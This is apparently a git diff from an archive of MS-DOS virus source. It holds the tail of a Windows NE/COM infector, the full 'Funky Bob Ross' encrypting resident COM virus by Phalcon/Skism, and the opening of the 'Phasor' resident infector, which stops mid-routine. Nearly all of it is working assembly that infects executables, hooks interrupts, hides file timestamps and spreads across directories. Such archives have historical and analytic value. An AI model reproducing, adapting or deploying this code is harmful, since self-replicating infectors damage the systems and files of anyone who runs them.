||||
;eight bytes in 512 byte chunks.
|
||||
move_header_forward:
|
||||
mov ax,word ptr ne_size
|
||||
or ax,ax
|
||||
jz last_page
|
||||
|
||||
dec word ptr ne_size
|
||||
|
||||
mov ax,4200h ;Lseek to our current position.
|
||||
xor cx,cx
|
||||
mov dx,word ptr lseek
|
||||
sub dx,8
|
||||
call int21h
|
||||
|
||||
mov ah,40h ;Write the header section out.
|
||||
mov cx,512
|
||||
mov dx,si
|
||||
call int21h
|
||||
|
||||
add word ptr lseek,512
|
||||
|
||||
mov ax,4200h ;Lseek to the next chunk.
|
||||
xor cx,cx
|
||||
mov dx,word ptr lseek
|
||||
call int21h
|
||||
|
||||
mov ah,3fh ;Read it.
|
||||
mov dx,offset virus_size
|
||||
mov cx,512
|
||||
call int21h
|
||||
|
||||
jmp move_header_forward
|
||||
|
||||
last_page:
|
||||
mov ax,4202h ;Lseek to end of file.
|
||||
xor cx,cx
|
||||
cwd
|
||||
call int21h ;File length into DX:AX
|
||||
|
||||
;DX:AX=File offset of our segment
|
||||
;Below section shifts the segment offset right by the alignment
|
||||
;shift value.
|
||||
mov cl,byte ptr al_shift
|
||||
push bx
|
||||
mov bx,1
|
||||
shl bx,cl
|
||||
mov cx,bx
|
||||
pop bx
|
||||
div cx
|
||||
|
||||
mov word ptr lseek_add,0
|
||||
or dx,dx
|
||||
jz no_extra
|
||||
sub cx,dx
|
||||
mov word ptr lseek_add,cx
|
||||
inc ax
|
||||
no_extra:
|
||||
mov di,si
|
||||
add di,word ptr last_ne
|
||||
|
||||
;Adding the new segment table entry
|
||||
mov word ptr [di],ax ;Segment offset
|
||||
mov word ptr [di+2],offset virus_size
|
||||
mov word ptr [di+4],180h ;Segment attribute
|
||||
; 180h = NonMovable + Relocations
|
||||
mov word ptr [di+6],offset virus_size+512
|
||||
|
||||
mov ax,4200h ;Lseek to next position.
|
||||
xor cx,cx
|
||||
mov dx,word ptr lseek
|
||||
sub dx,8
|
||||
call int21h
|
||||
|
||||
mov ah,40h ;Write rest of NE header + new seg entry.
|
||||
mov cx,word ptr last_ne
|
||||
add cx,8 ;Added segment entry means eight more.
|
||||
mov dx,offset virus_size
|
||||
call int21h
|
||||
|
||||
;Reset the relocatable pointer.
|
||||
push word ptr winip
|
||||
push word ptr wincs
|
||||
mov word ptr winip,0
|
||||
mov word ptr wincs,0ffffh
|
||||
|
||||
mov ax,4202h ;Lseek to end of file.
|
||||
xor cx,cx
|
||||
mov dx,word ptr lseek_add
|
||||
call int21h
|
||||
|
||||
mov ah,40h ;Write main virus body.
|
||||
mov cx,offset virus_size
|
||||
xor dx,dx
|
||||
call int21h
|
||||
|
||||
pop word ptr wincs
|
||||
pop word ptr winip
|
||||
|
||||
mov ah,40h ;Write the relocation item.
|
||||
mov cx,offset reloc_end - offset relocblk
|
||||
mov dx,offset relocblk
|
||||
call int21h
|
||||
|
||||
jmp com_time_end
|
||||
|
||||
int21h: ;Simulated int 21 call.
|
||||
pushf
|
||||
call dword ptr cs:orig21
|
||||
ret
|
||||
orig21 dd 0
|
||||
|
||||
win_entry: ;WinEXE files begin execution here.
|
||||
pusha
|
||||
push ds
|
||||
push es
|
||||
|
||||
mov ax,51feh ;Residency test.
|
||||
int 21h
|
||||
cmp ax,0ff51h
|
||||
je no_wintsr
|
||||
|
||||
mov ax,000ah ;Make CS writable.
|
||||
mov bx,cs
|
||||
int 31h ;Use DPMI.
|
||||
mov ds,ax
|
||||
|
||||
mov ax,0204h ;Get real mode interrupt vector.
|
||||
mov bl,21h
|
||||
int 31h
|
||||
|
||||
mov word ptr i21,dx ;Save int21
|
||||
mov word ptr i21+2,cx
|
||||
|
||||
mov word ptr orig21,dx
|
||||
mov word ptr orig21+2,cx
|
||||
|
||||
mov ax,501h
|
||||
xor bx,bx ;Allocate Linear region
|
||||
mov cx,offset v_mem_size
|
||||
int 31h
|
||||
|
||||
push bx
|
||||
push cx
|
||||
|
||||
xor ax,ax
|
||||
mov cx,1 ;Create a Selector
|
||||
int 31h
|
||||
|
||||
mov bx,ax
|
||||
mov ax,7
|
||||
pop dx ;Point selector to linear region.
|
||||
pop cx
|
||||
int 31h
|
||||
|
||||
mov ax,8
|
||||
xor cx,cx ;Set selector limit
|
||||
mov dx,offset v_mem_size
|
||||
int 31h
|
||||
|
||||
mov es,bx
|
||||
mov cx,offset v_mem_size
|
||||
xor si,si ;Copy virus to the linear region
|
||||
xor di,di
|
||||
cld
|
||||
rep movsb
|
||||
|
||||
mov bx,es
|
||||
mov ax,9 ;Set access rights to 'Code'
|
||||
mov cx,0ffh
|
||||
int 31h
|
||||
|
||||
mov cx,es
|
||||
mov dx,offset win21
|
||||
mov ax,205h
|
||||
mov bl,21h
|
||||
int 31h ;Set real mode interrupt vector.
|
||||
|
||||
mov ax,4
|
||||
push es
|
||||
pop bx ;Lock the selector
|
||||
int 31h
|
||||
|
||||
no_wintsr:
|
||||
pop es
|
||||
pop ds
|
||||
popa
|
||||
|
||||
db 0eah ;Return to original file.
|
||||
winip dw 0
|
||||
wincs dw 0ffffh
|
||||
|
||||
;-----------------------
|
||||
;Infection Procedures
|
||||
;-----------------------
|
||||
Save_Time:
|
||||
push ax
|
||||
push cx
|
||||
push dx
|
||||
|
||||
mov ax,5700h
|
||||
call int21h
|
||||
|
||||
mov word ptr time,cx
|
||||
mov word ptr date,dx
|
||||
|
||||
pop dx
|
||||
pop cx
|
||||
pop ax
|
||||
ret
|
||||
|
||||
Restore_Time:
|
||||
push ax
|
||||
push cx
|
||||
push dx
|
||||
|
||||
db 0bah ;MOV DX,xxxx
|
||||
date dw 0
|
||||
|
||||
db 0b9h ;MOV CX,xxxx
|
||||
time dw 0
|
||||
|
||||
mov ax,5701h
|
||||
call int21h
|
||||
|
||||
pop dx
|
||||
pop cx
|
||||
pop ax
|
||||
ret
|
||||
|
||||
Lseek_Start:
|
||||
mov al,0
|
||||
jmp short lseek2
|
||||
Lseek_End:
|
||||
mov al,2
|
||||
lseek2:
|
||||
mov ah,42h
|
||||
xor cx,cx
|
||||
cwd
|
||||
call int21h
|
||||
ret
|
||||
|
||||
;-----------------------
|
||||
;Infection Data
|
||||
;-----------------------
|
||||
;Com infection data.
|
||||
com_jmp db 0e9h,0,0,0afh
|
||||
|
||||
;-----------------------
|
||||
;Windows infection data.
|
||||
newexe_off dw 0
|
||||
al_shift dw 0
|
||||
ne_size dw 0
|
||||
last_ne dw 0
|
||||
lseek dw 0
|
||||
lseek_add dw 0
|
||||
|
||||
Relocblk:
|
||||
dw 1 ;Number of relocation items
|
||||
|
||||
db 3 ;32bit pointer relocation
|
||||
db 4 ;Additive relocation
|
||||
dw offset winip
|
||||
old_cs dw 0 ;The stored original CS & IP of host.
|
||||
old_ip dw 0
|
||||
|
||||
|
||||
Reloc_end:
|
||||
;-----------------------
|
||||
|
||||
virus_size:
|
||||
db 512 dup (0) ;Storage buffer.
|
||||
v_mem_size:
|
||||
|
565
MSDOS/Virus.MSDOS.Unknown.phalcon.1117.asm
Normal file
565
MSDOS/Virus.MSDOS.Unknown.phalcon.1117.asm
Normal file
@ -0,0 +1,565 @@
|
||||
; The Funky Bob Ross Virus Version 1.0
|
||||
; Written by Dark Angel / 26 September 1991 / (c) 1991
|
||||
; PHALCON/SKISM Co-op
|
||||
; Effective length: 1125, Resident length: 672 bytes
|
||||
;
|
||||
; DEDICATION:
|
||||
; This virus was written expressedly to
|
||||
; 1) Piss off Patty Hoffman, John McAffee, Ross Greenberg, and all the
|
||||
; other guru-wanna-bes in this world.
|
||||
; 2) Spread the message of The Almighty Bob, and so enrichen the lives
|
||||
; of people all over the world.
|
||||
; 3) Show off (Now I can tell people that I wrote a virus!)
|
||||
;
|
||||
; WHAT THIS IS:
|
||||
; This is a self-encrypting, non-overwriting COM infector. It doesn't do
|
||||
; anything to EXE files. File sizes increase by 1117 bytes. It goes off
|
||||
; on July 9th of any year or after 7 infection "waves."
|
||||
;
|
||||
; WHAT IT DOES WHEN IT GOES OFF:
|
||||
; The virus goes memory resident and prints out a Bobism every 5 minutes.
|
||||
; It then enters a delay loop for approximately 5 seconds, allowing for a
|
||||
; brief moment of silence while the victim reads Bob's holy message. The
|
||||
; virus will not destroy anything. The virus will not go TSR if it finds
|
||||
; another copy of itself in memory.
|
||||
;
|
||||
; CAUTION: THIS IS DESTRUCTIVE CODE. YOU SHOULD NOT EVEN BE LOOKING AT IT.
|
||||
; I HAVE NEVER AND WILL NEVER RELEASE THIS CODE. IF YOU SHOULD BE
|
||||
; LOOKING AT IT, IT IS BECAUSE IT WAS STOLEN FROM ME. YOU HAVE NO
|
||||
; RIGHT TO LOOK AT THIS CODE. IF THIS SOURCE SHOULD FALL INTO THE
|
||||
; WRONG HANDS, IT COULD BE VERY BAD! DESTROY THIS IMMEDIATELY. I
|
||||
; HOLD NO RESPONSIBILITY FOR WHAT STUPID PEOPLE DO WITH THIS CODE.
|
||||
; THIS WAS WRITTEN FOR EDUCATIONAL PURPOSES ONLY!!!
|
||||
|
||||
CODE SEGMENT PUBLIC 'CODE'
|
||||
ORG 100h
|
||||
ASSUME CS:CODE,DS:CODE,SS:CODE,ES:CODE
|
||||
|
||||
DTA_fileattr EQU 21
|
||||
DTA_filetime EQU 22
|
||||
DTA_filedate EQU 24
|
||||
DTA_filesize EQU 26
|
||||
DTA_filename EQU 30
|
||||
|
||||
virus_marker equ 026FFh ; JMP WORD PTR
|
||||
virus_marker2 equ 00104h ; 0104h
|
||||
part1_size equ part1_end - part1_start
|
||||
part2_size equ part2_end - part2_start
|
||||
offset_off equ duh2
|
||||
init_delay equ 5280 ; Initial delay
|
||||
delay equ 400 ; Subsequent delay
|
||||
num_Messages equ 7 ; Number of Bob messages
|
||||
waves equ 7 ; Number of waves to go off after
|
||||
infec_date equ 0709h ; Date of psychosis
|
||||
|
||||
Counter equ 108h
|
||||
D_Mess equ 110h
|
||||
Int_08_Start equ 112h
|
||||
|
||||
part1_start:
|
||||
jmp word ptr duh
|
||||
duh dw middle_part_end - part1_start + 100h
|
||||
duh2 dw 0
|
||||
part1_end:
|
||||
|
||||
middle_part_start:
|
||||
middle_part_end:
|
||||
|
||||
;=============================================================================
|
||||
;Part 2 begins: Dis is the D-Cool part
|
||||
;=============================================================================
|
||||
part2_start:
|
||||
cld
|
||||
call decrypt
|
||||
mov si, offset Go
|
||||
add si, offset_off
|
||||
jmp si
|
||||
|
||||
encrypt_val db 00h
|
||||
|
||||
decrypt:
|
||||
encrypt:
|
||||
mov si, offset encrypt_val
|
||||
add si, offset_off
|
||||
mov ah, byte ptr [si]
|
||||
|
||||
mov cx, offset part2_end - offset bam_bam
|
||||
add si, offset bam_bam - offset encrypt_val
|
||||
mov di, si
|
||||
|
||||
xor_loop:
|
||||
lodsb ; DS:[SI] -> AL
|
||||
xor al, ah
|
||||
stosb
|
||||
loop xor_loop
|
||||
ret
|
||||
|
||||
copy_rest_stuff:
|
||||
; Mah copying routine
|
||||
push si ; SI -> buffer3
|
||||
call encrypt
|
||||
mov cx, part2_size
|
||||
pop dx
|
||||
add dx, offset part2_start - offset buffer3
|
||||
mov ah, 40h
|
||||
int 21h
|
||||
call decrypt
|
||||
bam_bam:
|
||||
ret
|
||||
|
||||
buffer db 0CDh, 20h, 0, 0, 0, 0, 0, 0
|
||||
buffer2 db part1_end - part1_start dup (?)
|
||||
buffer3 dw ?
|
||||
orig_path db 64 dup (?)
|
||||
num_infec db 0 ; Infection wave number
|
||||
infec_now db 0 ; Number files infected this time
|
||||
root_dir db '\',0
|
||||
com_mask db '*.com',0
|
||||
dir_mask db '*.*',0
|
||||
back_dir db '..',0
|
||||
nest dw 0
|
||||
|
||||
DTA db 43 DUP (0) ; For use by infect_dir
|
||||
|
||||
Go:
|
||||
add si, offset buffer - offset Go
|
||||
mov di, si
|
||||
add di, offset buffer2 - offset buffer
|
||||
mov cx, part1_size
|
||||
rep movsb
|
||||
|
||||
mov ah, 47h ; Get directory
|
||||
xor dl,dl ; Default drive
|
||||
add si, offset orig_path - offset buffer - 8 ; DS:[SI] -> buffer
|
||||
int 21h ; in orig_path
|
||||
jc Go_Error
|
||||
|
||||
mov ah, 3Bh ; Change directory
|
||||
mov dx, si ; to the root dir
|
||||
add dx, offset root_dir - offset orig_path
|
||||
int 21h
|
||||
jc Go_Error
|
||||
|
||||
add si, offset num_infec - offset orig_path
|
||||
inc byte ptr [si] ; New infection wave
|
||||
|
||||
push si ; Save offset num_infec
|
||||
|
||||
add si, offset infec_now - offset num_infec
|
||||
mov byte ptr [si], 3 ; Reset infection
|
||||
; counter to 3
|
||||
; for D-new run.
|
||||
|
||||
call traverse_fcn ; Do all the work
|
||||
|
||||
pop si ; Restore offset num_infec
|
||||
cmp byte ptr [si], waves ; 10 infection waves?
|
||||
jge Go_Psycho ; If so, activate
|
||||
|
||||
mov ah, 2Ah ; Get date
|
||||
int 21h
|
||||
cmp dx, infec_date ; Is it 07/09?
|
||||
jz Go_Psycho ; If so, activate
|
||||
Go_Error:
|
||||
jmp quit ; And then quit
|
||||
|
||||
Go_Psycho:
|
||||
jmp Psycho
|
||||
|
||||
origattr db 0
|
||||
origtime dw 0
|
||||
origdate dw 0
|
||||
filesize dw 0 ; Size of the uninfected file
|
||||
|
||||
oldhandle dw 0
|
||||
|
||||
;=============================================================================
|
||||
;D-Traversal function begins
|
||||
;=============================================================================
|
||||
traverse_fcn proc near
|
||||
push bp ; Create stack frame
|
||||
mov bp,sp
|
||||
sub sp,44 ; Allocate space for DTA
|
||||
push si
|
||||
|
||||
jmp infect_directory
|
||||
In_fcn:
|
||||
mov ah,1Ah ;Set DTA
|
||||
lea dx,word ptr [bp-44] ; to space allotted
|
||||
int 21h ;Do it now, do it hard!
|
||||
|
||||
mov ah, 4Eh ;Find first
|
||||
mov cx,16 ;Directory mask
|
||||
mov dx,offset dir_mask ; *.*
|
||||
add dx,offset_off
|
||||
int 21h
|
||||
jmp short isdirok
|
||||
gonow:
|
||||
cmp byte ptr [bp-14], '.' ;Is first char == '.'?
|
||||
je short donext ; If so, loop again
|
||||
lea dx,word ptr [bp-14] ;else load dirname
|
||||
mov ah,3Bh ; and changedir there
|
||||
int 21h ;Yup, yup
|
||||
jc short donext ; Do next if invalid
|
||||
mov si, offset nest ; Else increment nest
|
||||
add si, offset_off
|
||||
inc word ptr [si] ; nest++
|
||||
call near ptr traverse_fcn ; recurse directory
|
||||
donext:
|
||||
lea dx,word ptr [bp-44] ;Load space allocated for DTA address
|
||||
mov ah,1Ah ; and set DTA to it
|
||||
int 21h ; 'cause it might have changed
|
||||
|
||||
mov ah,4Fh ;Find next
|
||||
int 21h
|
||||
isdirok:
|
||||
jnc gonow ;If OK, jmp elsewhere
|
||||
mov si, offset nest
|
||||
add si, offset_off
|
||||
cmp word ptr [si], 0 ;If root directory (nest == 0)
|
||||
jle short cleanup ; Quit
|
||||
dec word ptr [si] ;Else decrement nest
|
||||
mov dx,offset back_dir ;'..'
|
||||
add dx, offset_off
|
||||
mov ah,3Bh ;Change directory
|
||||
int 21h ; to previous one
|
||||
cleanup:
|
||||
pop si
|
||||
mov sp,bp
|
||||
pop bp
|
||||
ret
|
||||
traverse_fcn endp
|
||||
;=============================================================================
|
||||
;D-Traversal function ends
|
||||
;=============================================================================
|
||||
|
||||
Goto_Error:
|
||||
jmp Error
|
||||
|
||||
enuff_for_now:
|
||||
;Set nest to nil
|
||||
mov si, offset nest ; in order to
|
||||
add si, offset_off ; halt the D-Cool
|
||||
mov word ptr [si], 0 ; traversal fcn
|
||||
jmp short cleanup
|
||||
return_to_fcn:
|
||||
jmp short In_fcn ;Return to traversal function
|
||||
|
||||
infect_directory:
|
||||
mov ah, 1Ah ;Set DTA
|
||||
mov dx, offset DTA ; to DTA struct
|
||||
add dx, offset_off
|
||||
int 21h
|
||||
|
||||
find_first_COM:
|
||||
mov ah, 04Eh ; Find first file
|
||||
mov cx, 0007h ; Any file
|
||||
mov dx, offset com_mask ; DS:[DX] --> filemask
|
||||
add dx, offset_off
|
||||
int 21h ; Fill DTA (hopefully)
|
||||
jc return_to_fcn ; <Sigh> Error #E421:0.1
|
||||
jmp check_if_COM_infected ; I<___-Cool! Found one!
|
||||
|
||||
find_next_file2:
|
||||
mov si, offset infec_now ; Another loop,
|
||||
add si, offset_off ; Another infection
|
||||
dec byte ptr [si] ; Infected three?
|
||||
jz enuff_for_now ; If so, exit
|
||||
find_next_file:
|
||||
mov ah,4Fh ; Find next
|
||||
int 21h
|
||||
jc return_to_fcn
|
||||
|
||||
check_if_COM_infected:
|
||||
mov si, offset DTA + dta_filename + 6 ; look at 7th letter
|
||||
add si, offset_off
|
||||
cmp byte ptr [si], 'D' ; ??????D.COM?
|
||||
jz find_next_file ; don't kill COMMAND.COM
|
||||
|
||||
mov ax,3D00h ; Open channel read ONLY
|
||||
mov dx, si ; Offset Pathname in DX
|
||||
sub dx, 6
|
||||
int 21h ; Open NOW!
|
||||
jc find_next_file ; If error, find another
|
||||
|
||||
xchg bx,ax ; bx is now handle
|
||||
mov ah,3Fh ; Save
|
||||
mov cx, part1_size ; first part
|
||||
mov dx, offset buffer ; to buffer
|
||||
add dx, offset_off ; to be restored
|
||||
push dx
|
||||
int 21h ; later
|
||||
|
||||
pop si ; Check for virus ID bytes
|
||||
; in the buffer
|
||||
push si
|
||||
lodsw ; DS:[SI] -> AX
|
||||
cmp ax, virus_marker ; Compare it
|
||||
jnz infect_it ; infect it if ID #1 not found
|
||||
|
||||
lodsw ; Check next two bytes
|
||||
cmp ax, virus_marker2 ; Compare it
|
||||
jnz infect_it ; infect if ID #2 not found
|
||||
pop si
|
||||
bomb_out:
|
||||
mov ah, 3Eh ; else close the file
|
||||
int 21h ; and go find another
|
||||
jmp find_next_file ; 'cuz it's already infected
|
||||
|
||||
Signature db 'PHALCON'
|
||||
|
||||
;=============================================================================
|
||||
;D-Good Stuff - Infection routine
|
||||
;=============================================================================
|
||||
infect_it:
|
||||
; save fileattr
|
||||
pop si
|
||||
add si, offset DTA + DTA_fileattr - offset buffer
|
||||
mov di, si
|
||||
add di, offset origattr - offset DTA - DTA_fileattr
|
||||
movsb ; DS:[SI] -> ES:[DI]
|
||||
movsw ; Save origtime
|
||||
movsw ; Save origdate
|
||||
movsw ; Save filesize
|
||||
; Only need LSW
|
||||
; because COM files
|
||||
; can only be up to
|
||||
; 65535 bytes long
|
||||
cmp word ptr [si - 2], part1_size
|
||||
jl bomb_out ; is less than 8 bytes.
|
||||
|
||||
do_again:
|
||||
mov ah, 2Ch ; get time
|
||||
int 21h
|
||||
add dl, dh ; 1/100 sec + 1 sec
|
||||
jz do_again ; Don't want orig strain!
|
||||
|
||||
mov si, offset encrypt_val
|
||||
add si, offset_off
|
||||
mov byte ptr [si], dl ; 255 mutations
|
||||
|
||||
mov ax, 4301h ; Set file attributes
|
||||
xor cx, cx ; to nothing
|
||||
mov dx, si ; filename in DTA
|
||||
add dx, offset DTA + DTA_filename - offset encrypt_val
|
||||
int 21h ; do it now, my child
|
||||
|
||||
mov ah, 3Eh ; Close file
|
||||
int 21h ; handle in BX
|
||||
|
||||
mov ax, 3D02h ; Open file read/write
|
||||
int 21h ; Filename offset in DX
|
||||
jc bomb_out ; Damn! Probs
|
||||
|
||||
mov di, dx
|
||||
add di, offset oldhandle - offset DTA - DTA_filename
|
||||
; copy filehandle to
|
||||
; oldhandle
|
||||
stosw ; AX -> ES:[DI]
|
||||
xchg ax, bx ; file handle in BX now
|
||||
|
||||
mov ah, 40h ; Write DS:[DX]->file
|
||||
mov cx, part1_size - 4 ; number of bytes
|
||||
mov dx, 0100h ; where code starts
|
||||
int 21h ; (in memory)
|
||||
|
||||
mov ah, 40h
|
||||
mov si, di ; mov si, offset filesize
|
||||
add si, offset filesize - 2 - offset oldhandle
|
||||
add word ptr [si], 0100h
|
||||
mov cx, 2
|
||||
mov dx, si
|
||||
int 21h ; write jmp offset
|
||||
|
||||
mov ax, [si] ; AX = filesize
|
||||
sub ax, 0108h
|
||||
|
||||
add si, offset buffer3 - offset filesize
|
||||
push si
|
||||
mov word ptr [si], ax
|
||||
mov ah, 40h
|
||||
mov cx, 2
|
||||
mov dx, si
|
||||
int 21h
|
||||
|
||||
mov ax, 4202h ; move file ptr
|
||||
xor cx, cx ; from EOF
|
||||
xor dx, dx ; offset cx:dx
|
||||
int 21h
|
||||
|
||||
call copy_rest_stuff
|
||||
|
||||
pop si
|
||||
add si, offset oldhandle - offset buffer3
|
||||
mov bx, word ptr [si]
|
||||
mov ax, 5701h ; Restore
|
||||
add si, offset origtime - offset oldhandle
|
||||
mov cx, word ptr [si] ; old time and
|
||||
add si, 2
|
||||
mov dx, word ptr [si] ; date
|
||||
int 21h
|
||||
|
||||
mov ah, 3Eh ; Close file
|
||||
int 21h
|
||||
|
||||
mov ax, 4301h ; Restore file
|
||||
xor ch, ch
|
||||
add si, offset origattr - offset origtime - 2
|
||||
mov cl, byte ptr [si] ; attributes
|
||||
mov dx, si ; filename in DTA
|
||||
add dx, offset DTA + DTA_filename - offset origattr
|
||||
int 21h ; do it now
|
||||
|
||||
jmp find_next_file2
|
||||
|
||||
GotoError:
|
||||
jmp error
|
||||
|
||||
Psycho:
|
||||
; Check if already installed
|
||||
push es
|
||||
mov byte ptr cs:[100h],0 ; Initialize fingerprint
|
||||
xor bx, bx ; Zero BX for start
|
||||
mov ax, cs
|
||||
Init1: inc bx ; Increment search segment
|
||||
mov es, bx ; value
|
||||
cmp ax, bx ; Not installed if we reach
|
||||
je Not_Installed_Yet ; the current segment
|
||||
mov si, 100h ; Search segment for
|
||||
mov di, si ; fingerprint in first
|
||||
mov cx, 4 ; four bytes
|
||||
repe cmpsb ; Compare
|
||||
jne init1 ; If not equal, try another
|
||||
jmp Quit_Init ; else already installed
|
||||
|
||||
Not_Installed_Yet:
|
||||
pop es
|
||||
mov word ptr cs:[Counter], init_delay
|
||||
mov word ptr cs:[D_Mess], 1
|
||||
|
||||
; Copy interrupt handler to beginning of code
|
||||
mov si, offset _int_08_handler
|
||||
add si, offset_off
|
||||
mov di, Int_08_Start
|
||||
mov cx, int_end - int_start
|
||||
rep movsb ; DS:[SI]->ES:[DI]
|
||||
|
||||
mov ax, 3508h ; Get int 8 handler
|
||||
int 21h ; put in ES:BX
|
||||
|
||||
mov cs:[duh], bx ; Save old handler
|
||||
mov cs:[duh+2], es ; in cs:[104h]
|
||||
|
||||
mov ax, 2508h ; Install new handler
|
||||
mov dx, Int_08_Start ; from DS:DX
|
||||
int 21h ; Do it
|
||||
|
||||
push es
|
||||
mov ax, ds:[2Ch] ; Deallocate program
|
||||
mov es, ax ; environment block
|
||||
mov ah, 49h
|
||||
int 21h
|
||||
pop es
|
||||
|
||||
mov ax, 3100h ; TSR
|
||||
mov dx, (offset int_end - offset int_start + offset part1_end - offset Code + 4 + 15 + 128) SHR 4
|
||||
int 21h
|
||||
int 20h ; In case of error
|
||||
Quit_Init:
|
||||
pop es
|
||||
Error: ; On error, quit
|
||||
Quit:
|
||||
mov ah, 3Bh ; Change directory
|
||||
mov dx, offset root_dir ; to the root dir
|
||||
add dx, offset_off
|
||||
int 21h
|
||||
|
||||
mov ah,3Bh ; Change directory
|
||||
; Return to orig dir
|
||||
add dx, offset orig_path - offset root_dir
|
||||
int 21h
|
||||
|
||||
; Copy buffer back to beginning of file
|
||||
mov si, dx
|
||||
add si, offset buffer2 - offset orig_path
|
||||
mov di, 0100h
|
||||
mov cx, part1_end - part1_start
|
||||
rep movsb
|
||||
|
||||
mov di, 0100h
|
||||
jmp di
|
||||
int_start:
|
||||
_int_08_handler proc far
|
||||
push ax
|
||||
push bx
|
||||
push cx
|
||||
push dx
|
||||
push si
|
||||
push ds
|
||||
push es
|
||||
pushf
|
||||
dec word ptr CS:[Counter] ; Counter
|
||||
jnz QuitNow
|
||||
;ACTIVATION!!!
|
||||
mov word ptr CS:[Counter], delay ; Reset counter
|
||||
|
||||
; Set up DS & ES to equal CS
|
||||
push cs
|
||||
pop ds
|
||||
push cs
|
||||
pop es
|
||||
|
||||
mov si, offset Messages - offset int_start + int_08_start
|
||||
mov cx, cs:D_Mess
|
||||
xor ah, ah
|
||||
LoopY_ThingY:
|
||||
lodsb ; DS:SI -> AL
|
||||
add si, ax ; ES:BP -> Next message to display
|
||||
loop LoopY_ThingY
|
||||
|
||||
lodsb
|
||||
xchg si, bp
|
||||
|
||||
xor cx, cx
|
||||
mov cl, al ; Length of string
|
||||
mov ax, 1300h ;
|
||||
mov bx, 0070h ; Page 0, inverse video
|
||||
xor dx, dx ; (0,0)
|
||||
int 10h ; Display ES:BP
|
||||
inc word ptr cs:[D_Mess]
|
||||
cmp word ptr cs:[D_Mess], num_messages
|
||||
jnz Sigh
|
||||
mov word ptr cs:[D_Mess], 1
|
||||
|
||||
Sigh: mov cx, 30h
|
||||
Sigh2: push cx
|
||||
mov cx, 0FFFFh
|
||||
DelayX: loop DelayX
|
||||
pop cx
|
||||
loop Sigh2
|
||||
xchg si, bp
|
||||
QuitNow:
|
||||
popf
|
||||
pop es
|
||||
pop ds
|
||||
pop si
|
||||
pop dx
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
jmp dword ptr CS:duh
|
||||
|
||||
Messages db 0
|
||||
db 15, 'Bob Ross lives!'
|
||||
db 21, 'Bob Ross is watching!'
|
||||
db 22, 'Maybe he lives here...'
|
||||
db 26, 'What a happy little cloud!'
|
||||
db 38, 'Maybe he has a neighbour right here...'
|
||||
db 40, 'You can make up stories as you go along.'
|
||||
_int_08_handler endp
|
||||
int_end:
|
||||
part2_end:
|
||||
|
||||
CODE ends
|
||||
end part1_start
|
||||
|
166
MSDOS/Virus.MSDOS.Unknown.phasor10.asm
Normal file
166
MSDOS/Virus.MSDOS.Unknown.phasor10.asm
Normal file
@ -0,0 +1,166 @@
|
||||
;
|
||||
; [Phasor] v1.0
|
||||
; Written by Memory Lapse of Phalcon/Skism
|
||||
;
|
||||
; This is a simple memory resident, COM infector. It hides in the unused
|
||||
; portion of the interrupt table starting at 0:1E0h.
|
||||
;
|
||||
; To Assemble:
|
||||
; TASM [PHASOR10]/m2 - TLINK [PHASOR10]/T
|
||||
;
|
||||
.model tiny ;
|
||||
.code ;
|
||||
.286 ;
|
||||
org 100h ;
|
||||
;
|
||||
start: ;Mark Start of Code
|
||||
v_start: ;Mark Start of Virus
|
||||
mov bp,0000h ;Self Modifying Delta
|
||||
delta equ $-002h ; Offset.
|
||||
;
|
||||
xor di,di ;Load Register w/Zero
|
||||
mov es,di ;ES = 000h
|
||||
;
|
||||
mov di,01E0h ;DI = 1E0h
|
||||
;
|
||||
cmp byte ptr es:[di],0BDh ;Virus Present?
|
||||
jz restoreCOMbytes ;(0BDh = MOV BP,XXXX)
|
||||
;
|
||||
push cs ;Save CS onto Stack
|
||||
pop ds ;Restore DS (CS=DS)
|
||||
;
|
||||
mov cx,(heap_end-v_start)/002h ;CX = # of Words To Copy
|
||||
lea si,[bp+100h] ;SI = Start of Virus
|
||||
rep movsw ;Copy Virus To Int Table
|
||||
;
|
||||
mov ax,offset i021h+0E0h ;AX = Handler + Offset
|
||||
;
|
||||
xchg ax,word ptr es:[084h] ;Modify Interrupt Table
|
||||
mov word ptr es:[i021hOffset+0E0h],ax ; To Point To Virus's
|
||||
; Interrupt 021h
|
||||
mov ax,es ; Handler.
|
||||
;
|
||||
xchg ax,word ptr es:[086h] ;
|
||||
mov word ptr es:[i021hSegment+0E0h],ax ;
|
||||
;
|
||||
restoreCOMbytes: ;
|
||||
push cs cs ;Equal Out Segment
|
||||
pop ds es ; Registers.
|
||||
;
|
||||
lea si,[bp+host_bytes] ;SI = Host's Bytes
|
||||
mov di,100h ;DI = Start of Host
|
||||
push di ;Save DI onto Stack
|
||||
mov byte ptr [di],0C3h ;Write RET to Host
|
||||
call di ;Call 100h (RET)
|
||||
;
|
||||
movsb ;Byte @ DS:[SI]=>ES:[DI]
|
||||
movsw ;Word @ DS:[SI]=>ES:[DI]
|
||||
;
|
||||
retn ;Return to Host Program.
|
||||
;
|
||||
host_bytes db 0CDh,020h,000h ;Buffer For Starting of
|
||||
; Host Program.
|
||||
infect: xor bp,bp ;Load Register w/Zero
|
||||
;
|
||||
mov ax,3D00h ;AX = 3D00h
|
||||
int 021h ;Open File in R/O Mode.
|
||||
;
|
||||
xchg ax,bx ;
|
||||
;
|
||||
push bx cs cs ;Save Handle, Equal Out
|
||||
pop ds es ; Segment Registers.
|
||||
;
|
||||
mov ax,1220h ;AX = 1220h
|
||||
int 02Fh ;Get JFT.
|
||||
;
|
||||
mov ax,1216h ;AX = 1216h
|
||||
mov bl,byte ptr es:[di] ;BL = Location of SFT
|
||||
int 02Fh ;Get SFT.
|
||||
;
|
||||
pop bx ;Restore File Handle
|
||||
;
|
||||
mov word ptr es:[di+002h],002h ;Open File For Read And
|
||||
; Write Mode.
|
||||
mov ah,03Fh ;AH = 3Fh
|
||||
mov cx,003h ;CX = # of Bytes To Read
|
||||
mov dx,offset host_bytes+0E0h ;DX = Buffer + Offset
|
||||
int 021h ;Read 003h Bytes To Bufr
|
||||
;
|
||||
mov si,dx ;SI = DX
|
||||
;
|
||||
cmp word ptr [si+000h],5A4Dh ;EXE File?
|
||||
jz closeCOMfile ;Exit Virus
|
||||
;
|
||||
cmp word ptr [si+000h],4D5Ah ;EXE File?
|
||||
jz closeCOMfile ;Exit Virus
|
||||
;
|
||||
push cx ;Save CX onto Stack.
|
||||
;
|
||||
mov ax,4202h ;AX = 4202h
|
||||
xor cx,cx ;Load Register w/Zero
|
||||
cwd ;Load Register w/Zero
|
||||
int 021h ;Move File Pointer @ EOF
|
||||
;
|
||||
pop cx ;Restore CX.
|
||||
;
|
||||
